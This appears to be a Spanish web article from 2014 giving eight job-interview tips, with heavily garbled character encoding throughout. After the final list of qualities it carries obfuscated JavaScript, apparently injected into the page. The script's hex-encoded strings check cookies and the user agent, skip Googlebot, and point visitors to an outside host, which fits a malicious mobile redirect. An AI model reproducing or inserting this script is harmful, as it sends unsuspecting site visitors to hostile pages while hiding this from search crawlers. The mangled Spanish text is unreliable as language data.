Oportunidades

9 Dic 2014
Oportunidades | Por: Redacción

8 tips para superar una entrevista de trabajo

Saber describir tus cualidades, resaltar tus aptitudes, mostrar amabilidad, ser cortAi??s y demostrar que sabAi??s escuchar, son algunas de las sugerencias para poder obtener un puesto de trabajo.

Fuente: Lynda RodrAi??guez, especialista en etiqueta, protocolo y formaciA?n integral

1- DemostrA? cuA?nto te conocAi??s

“A?CuA?les son tus virtudes?”, “A?QuAi?? es lo que mejor sabAi??s hacer?”, “A?CA?mo te definirAi??as a vos mismo?”, son preguntas muy comunes que te pueden dejar en blanco si no has preparado las respuestas. Los expertos en Recursos Humanos insisten en la necesidad de buscar informaciA?n sobre la empresa y el puesto al que optA?s antes de salir de casa. DespuAi??s, adaptA? tu experiencia y conocimientos al empleo ofrecido. El objetivo es demostrar que te conocAi??s a vos mismo.

Si te preguntan por tus cualidades, no te asustAi??s, no es una trampa. Sirve para detectar si el trabajador cumplirA? con los requisitos del puesto y de la empresa. Es una de las preguntas mA?s tAi??picas pero que mA?s dificulta contestar.

2- AdaptA? tus virtudes al puesto ofrecido

Esta experta insiste en la necesidad de adaptar las fortalezas de los candidatos al empleo ofrecido. Por ejemplo, si te presentA?s a un puesto comercial, destacA? tus cualidades a la hora de influir en la opiniA?n de los demA?s, tu experiencia en ventas o tus virtudes como relaciones pA?blicas.

PreparA? una lista de conceptos que te podrAi??an servir para que no repitA?s los mismos en todas las entrevistas. En esencia, procurA? prepararte en tres tareas fundamentales: ver perfiles y formaciA?n de gente que ocupa el puesto al que optas; ver el perfil de la empresa y su imagen corporativa; y descubrir quAi?? transmite la empresa.

3- OlvidA? la presiA?n y no pensAi??s solo en conseguir el trabajo

Uno de los grandes errores a la hora de presentarse a una entrevista de trabajo es hacerlo pensando en la necesidad de conseguir el puesto pase lo que pase. Hay candidatos que van con el A?nico objetivo de ser seleccionados y eso les lleva a dejar atrA?s muchas cosas que podrAi??an destacar de sAi?? mismas. Por tanto, relajate y presentate a la entrevista lo mA?s tranquilo posible.

4- Demuestra tus fortalezas con ejemplos y actitud

Hablar de tus cualidades no es suficiente, tambiAi??n tenAi??s que demostrarlas. Tu actitud y el lenguaje no verbal darA?n mucha informaciA?n al entrevistador. ControlA? los gestos y no digA?s algo de lo que te podrAi??as arrepentir. Simplemente, pon ejemplos de trabajos que has realizado y cA?mo los has llevado a cabo. TambiAi??n te servirA? presentar un blog personal o un portfolio donde recojA?s algunos de tus proyectos.

5- “EnamorA?” al entrevistador y destacA? tu personalidad

En una entrevista de trabajo a veces no se valora al candidato con mejor formaciA?n o mayor experiencia. En ocasiones, la personalidad puede influir en la decisiA?n final. Mostrate como realmente sos. Tu forma de ser podrAi??a resultar un factor de Ai??xito a la hora de conseguir un empleo. Eso sAi??, no bajAi??s la guardia. Los reclutadores despliegan sus tAi??cnicas durante las entrevistas y tendrA?n en cuenta toda la informaciA?n que ofrezcA?s sobre vos mismo.

6- No te pasAi??s de modesto ni de confiado

El entrevistador valorarA? el equilibrio. No pequAi??s de modesto pero tampoco te mostrAi??s muy confiado. Ninguno de los dos extremos serA? bien interpretado. En general, lo mejor es destacar las virtudes que encajan con lo que se demanda y dar ejemplo de ello.

Nunca reflejAi??s ambiciones econA?micas en una entrevista de trabajo y procurA? no dar una imagen de profesional ambicioso. Los reclutadores pensarA?n que acabarA?s dando problemas a la empresa.

7- ControlA? los tiempos y dejA? hablar a la otra persona

Es importante tomar en cuenta que los silencios son lo mA?s incA?modo en una entrevista de trabajo. El hecho de quedarte callado puede hacer pensar que vas a mentir o estA?s buscando lo que querAi??s oAi??r.

Sin embargo, segA?n el contexto y la pregunta, a veces guardar una pausa puede denotar seguridad y tomarse como una seAi??al de que estA?s reflexionando la respuesta u opiniA?n que vas a dar respecto a un tema o lo que se te haya preguntado.

Algunos aseguran que hay una regla de que el entrevistador debe hablar un 20 por ciento y el entrevistado un 80 por ciento. Una persona que excede estos lAi??mites tampoco serA? vista con buenos ojos. Por tanto, no te pasAi??s de hablador. La persona que tenAi??s enfrente es quien dirige la entrevista.

8- Las 10 cualidades mejor valoradas por las empresas

Un estudio realizado por el Grupo Constant, compaAi??Ai??a especializada en selecciA?n y evaluaciA?n de personal, detectA? las 10 cualidades mA?s buscadas por los expertos en Recursos Humanos. A continuaciA?n te las enlistamos.

– Compromiso.

– ImplicaciA?n.

– Responsabilidad.

– Adaptabilidad.

– Proactividad.

– Actividad positiva.

– InterAi??s.

– EspecializaciA?n en nuevas tecnologAi??as.

– Sinceridad.

– EmpatAi??a y capacidad para trabajar en equipo.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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